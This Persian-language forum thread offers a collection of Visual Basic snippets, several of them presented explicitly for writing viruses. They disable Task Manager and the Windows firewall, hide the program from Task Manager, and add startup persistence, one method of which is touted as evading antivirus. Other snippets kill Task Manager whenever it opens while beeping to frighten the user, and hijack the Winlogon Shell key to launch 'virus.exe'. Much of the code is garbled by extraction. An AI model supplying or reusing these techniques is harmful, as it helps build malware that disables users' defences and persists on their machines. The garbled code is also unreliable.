• مجموعه ای از بهترین کد های بدرد بخور ویژوال بیسیک
    #1
    Note 
    با سلام امروز می خوام مجموعه ای از کد های بد خور رو بزارم که تو وب زیاد هستند ولی همشون یک جا نیستن

    امیدورام خوشتون بیاد:iran flag:

    1. گذشتن از روی خطا که خیلی راحت است
    کد php:
    On Error Resume Next 

    توضیح : این کد باعث می شه اگه در اجرای برنامه با مشکل برخورد برنامه متوفق نشه و به دستور بعدی بره (برای تازه کار ها)

    2.غیر فعال کردن تسک منیجر ویندوز xp (بیشتر برای ویروس نویسی)

    کد php:
    Shell "REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f"vbNormalFocus 
    اگر در این کد 1 را به 0 تغییر بدید تسک منیجر فعال می شه


    بقیه کد ها رو در پست های بعدی

    آخرین ویرایش: 04-07-2012 ساعت 14:49، توسط hamedre81
    شاید این جمعه بیاید
    پاسخ
    #2
    Note 
    3.گذاشتن شرط برای وجود یک فایل و تشخیص درایو ویندوز

    کد php:
    Environ("windir")
    If 
    Dir("\explorer.EXE") = vbNullString Then
     MsgBox 
    "not found"
    Else
     
    MsgBox "Found"
    End If 

    توضیح"
    a = Environ("windir") برای تشخیص درایو ویندوز گذاشتن این کد مقدار c:\windows را بر می گرداند در صورتی که ویندوز شما در درایو c نضب شده باشد

    شرط وجود یک فایل هم که معلوم هست



    4.غیر فعال کردن فایروال ویندوز xp

    کد php:
    Shell "netsh firewall set opmode disable"vbHide 

    برای فعال کردن از کد زیر استفاده می کنن

    کد php:
    netsh firewall set opmode enable 

    بقیه کد ها در پست بعدی

    آخرین ویرایش: 04-07-2012 ساعت 09:50، توسط hamedre81
    شاید این جمعه بیاید
    پاسخ
    #3
    Note 
    5. بستن برنامه ای درحال اجرا

    کد php:
    Shell "taskkill /f /im " "expl.exe"vbHide 

    6.پنهان کردن فرم از دید کاربر و تسک منیجر
    کد php:
    me.hide
    App
    .TaskVisible False 


    بقیه کد ها در پست بعدی

    آخرین ویرایش: 04-07-2012 ساعت 09:52، توسط hamedre81
    شاید این جمعه بیاید
    پاسخ
    #4
    Note 
    7.قرار دادن برنامه در استارت آپ

    من ایجا 2 روش رو می گم :

    1.

    کد زیر را در ماژول بگذارید
    کد php:
    Public Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal _
       hKey 
    As LongByVal lpSubKey As StringByVal ulOptions As LongByVal samDesired As LongphkResult As Long) As Long

    Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

    Public Declare Function RegSetValueEx Lib "advapi32.dll" _
       Alias 
    "RegSetValueExA" (ByVal hKey As LongByVal lpValueName _
       
    As StringByVal Reserved As LongByVal dwType As Long_
       lpData 
    As AnyByVal cbData As Long) As Long

    Public Const HKEY_CURRENT_USER = &H80000001
    Public Const KEY_WRITE = &H20006
    Public Const REG_SZ 

    بعد کد زیر در فرم بزارید

    کد php:
    Dim hregkey As Long
       Dim subkey 
    As String
       Dim stringbuffer 
    As String

       subkey 
    "Software\Microsoft\Windows\CurrentVersion\Run"

       
    retval RegOpenKeyEx(HKEY_CURRENT_USERsubkey0KEY_WRITEhregkey)
       If 
    retval <> 0 Then
          Debug
    .Print "Can't open the subkey"
          
    Exit Sub
       End 
    If
       
    stringbuffer App.Path "\" & App.EXEName & ".exe" & vbNullChar
       retval = RegSetValueEx(hregkey, "
    My App", 0, REG_SZ, ByVal stringbuffer, Len(stringbuffer))

       RegCloseKey hregkey 

    در بیشتر آنتی ویروس ها این کد رو به عنوان ویروس تشخیص می ده

    اما روش دوم

    کد برای انداختن برنامه از آدرسی دیگر

    کد php:
    Set reg CreateObject("wscript.shell")
    reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & "a", "H:\book1.exe"
    Set reg = Nothing 

    بجای H:\book1.exe باید آدرس برنامه تون رو بدید
    این کد هم توسط ویروس یاب تشخیص داده نمی شه


    8. کد ترساندن و اعصاب خود کن
    این کد طوری هست که اگر کاربر تسک منیجر ویندوز رو باز کنه صدای بیب داخل کیس شروع به زدن می کنه و کابر رو می ترسونه

    اسن کد رو در ماژول کپی کنید

    کد php:
    Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As StringByVal lpWindowName As String) As Long
    Private Declare Function SetForegroundWindow Lib "user32" (ByVal hWnd As Long) As Long
    Private Declare Function Beep Lib "kernel32" (ByVal dwFreq As LongByVal dwDuration As Long) As Long 

    اول یک تایمر درست کنید و مقدار linterval رو برابر با 1 قرار دهید . کد زیر را درونش بزارید

    کد php:
    handel FindWindow(vbNullString"Windows Task Manager")
    If 
    handel <> 0 Then
    Beep 135
    3304
    SetForegroundWindow handel
    SendKeys 
    "%{f4}"1
    End 
    If 

    آخرین ویرایش: 04-07-2012 ساعت 14:57، توسط hamedre81
    شاید این جمعه بیاید
    پاسخ
    #5
    Note 
    9.Disconnect کردن

    کد زیر در یک ماژول قرار دهید

    کد php:
    Public Const RAS_MAXENTRYNAME As Integer 256
    Public Const RAS_MAXDEVICETYPE As Integer 16
    Public Const RAS_MAXDEVICENAME As Integer 128
    Public Const RAS_RASCONNSIZE As Integer 412

    Public Type RasEntryName
      dwSize 
    As Long
      szEntryName
    (RAS_MAXENTRYNAME) As Byte
    End Type

    Public Type RasConn
      dwSize 
    As Long
      hRasConn 
    As Long
      szEntryName
    (RAS_MAXENTRYNAME) As Byte
      szDeviceType
    (RAS_MAXDEVICETYPE) As Byte
      szDeviceName
    (RAS_MAXDEVICENAME) As Byte
    End Type

    Public Declare Function RasEnumConnections Lib _
    "rasapi32.dll" Alias "RasEnumConnectionsA" (lpRasConn As _
    Any
    lpcb As LonglpcConnections As Long) As Long

    Public Declare Function RasHangUp Lib "rasapi32.dll" Alias _
    "RasHangUpA" (ByVal hRasConn As Long) As Long

    Public gstrISPName As String
    Public ReturnCode As Long

    Public Sub HangUp()
    Dim i As Long
    Dim lpRasConn
    (255) As RasConn
    Dim lpcb 
    As Long
    Dim lpcConnections 
    As Long
    Dim hRasConn 
    As Long
    lpRasConn
    (0).dwSize RAS_RASCONNSIZE
    lpcb 
    RAS_MAXENTRYNAME lpRasConn(0).dwSize
    lpcConnections 
    0
    ReturnCode 
    RasEnumConnections(lpRasConn(0), lpcb_
    lpcConnections
    )

    If 
    ReturnCode ERROR_SUCCESS Then
      
    For 0 To lpcConnections 1
      
    If Trim(ByteToString(lpRasConn(i).szEntryName)) _
      
    Trim(gstrISPNameThen
        hRasConn 
    lpRasConn(i).hRasConn
        ReturnCode 
    RasHangUp(ByVal hRasConn)
      
    End If
      
    Next i
    End 
    If

    End Sub

    Public Function ByteToString(bytString() As Byte) As String
    Dim i 
    As Integer
    ByteToString 
    ""
    0
    While bytString(i) = 0&
    ByteToString ByteToString Chr(bytString(i))
    1
    Wend
    End 
    Function 

    سپس کد زیر رو در یک دکمه قرار دهید

    کد php:
    HangUp 

    10.اجرا برنامه در سیف مد ( مخصصوص کسانی که قصد درست کردن ویروس دران)

    مثلا ویروسی می نویسید که در درایو c کپی بشه ، بعد باید به ویروس خود دستورات زیر را اضافه کنید :
    کد php:
    Set fso CreateObject("scripting.filesystemobject")
    file App.Path "\" & App.EXEName & ".exe"
    FileCopy file, "
    c:start up.exe"
    file2 = "
    c:start up.exe"
    Set Reg = CreateObject("
    wscript.shell")
    Reg.regwrite "
    HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonShell","Explorer.exe c:virus.exe
    تذکر خیلی مهم:فاصله ی بین explorer.exe و c:\virus.exe باید حتما وجود داشته باشه !

    شاید این جمعه بیاید
    پاسخ
    #6
    Note 
    11.میانبر درست کردن از برنامه مورد نظر

    کد php:
    Private Sub Form_Load()
       
    Create_ShortCut "آدرس برنامه""محل ذخیره میانبر""اسم میانبر", , 71
    End Sub
    Sub Create_ShortCut
    (ByVal TargetPath As StringByVal ShortCutPath As StringByVal ShortCutname As StringOptional ByVal WorkPath As StringOptional ByVal Window_Style As IntegerOptional ByVal IconNum As Integer)
        
    Dim VbsObj As Object
    Set VbsObj 
    CreateObject("WScript.Shell")
        
    Dim MyShortcut As Object
        Set MyShortcut 
    VbsObj.CreateShortcut(ShortCutPath "\" & ShortCutname & ".lnk") '"
        
    MyShortcut.TargetPath TargetPath
        MyShortcut
    .WorkingDirectory WorkPath
        MyShortcut
    .WindowStyle Window_Style
        MyShortcut
    .IconLocation TargetPath "," IconNum
        MyShortcut
    .Save
    End Sub 

    12.حذف پوشه

    کد زیر رو در قسمت جنرال کپی کنید

    کد php:
    Public Sub DelAll(ByVal DirtoDelete As Variant)

        
    Dim FSOFS
        Set FSO 
    CreateObject("Scripting.FileSystemObject")
        
    FS FSO.DeleteFolder(DirtoDeleteTrue)


    End Sub 

    بعد کد زیر رو در هر جای که خواستید بزارید(دکمه ,قرم)

    کد php:
    Call DelAll("G:\New Folder"

    شاید این جمعه بیاید
    پاسخ
    #7
    Note 
    13. باز و بستن درب CD ROM

    اگر ميخواهيد توسط برنامه خود درب CD ROM را باز و بسته كنيد كافيست ابتدا كد زير را در يك ماژول كپي كنيد.

    کد php:
    Public Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As StringByVal lpstrReturnString As StringByVal uReturnLength As LongByVal hwndCallback As Long) As Long 

    حالا كد زير را در پنجره فرم كپي كنيد.دو دكمه فرمان هم لازم است.
    کد php:
    Private Sub CMDOPEN_Click ()
    mciSendString "Set CDAudio Door Open Wait"0&, 0&, &
    End Sub

    Private Sub CMDCLOSE_Click ()
    mciSendString "Set CDAudio Door Closed Wait"0&, 0&, &
    End Sub 


    14.

    شاید این جمعه بیاید
    پاسخ
    ایجاد موضوع جدید   پاسخ به موضوع  

    موضوعات مرتبط با این موضوع...
    موضوع نویسنده پاسخ بازدید آخرین ارسال
    Note دانلود نمونه سولات ویژوال بیسیک SOFTAFZAR 1 2,637 18-12-2015 ساعت 11:30
    آخرین ارسال: majidvajih
    Note ماشین حساب پیشرفته به زبان ویژوال بیسیک SOFTAFZAR 2 4,841 28-01-2015 ساعت 16:36
    آخرین ارسال: xMAN
    Note space در ویژوال بیسیک 6 شهره 1 824 04-10-2014 ساعت 10:42
    آخرین ارسال: Comodo
    Note ویژوال بیسیک amir7519 1 771 19-07-2014 ساعت 17:36
    آخرین ارسال: C0der
    Note باز و بستن برنامه ها با ویژوال بیسیک Somi 1 840 18-05-2014 ساعت 19:28
    آخرین ارسال: VBProgrammer
    Note ایجاد لوزی با ویژوال بیسیک 6 Nastaran 2 925 07-04-2014 ساعت 14:25
    آخرین ارسال: Nastaran
    Note کمک در Sendkey ویژوال بیسیک THE KNIGHT 11 2,977 29-03-2014 ساعت 09:44
    آخرین ارسال: Stack OverFlow
    Note دانلود مجموعه پروژه ویژوال بیسیک Daniel 0 797 14-03-2014 ساعت 22:37
    آخرین ارسال: Daniel
    Note تمرینات حل شده درس برنامه سازی(ویژوال بیسیک) Daniel 0 1,390 13-03-2014 ساعت 19:32
    آخرین ارسال: Daniel
    Note دانلود 105 پروژه ویژوال بیسیک SOFTAFZAR 6 5,216 23-02-2014 ساعت 18:21
    آخرین ارسال: Daniel

    کاربرانِ درحال بازدید از این موضوع:   1 مهمان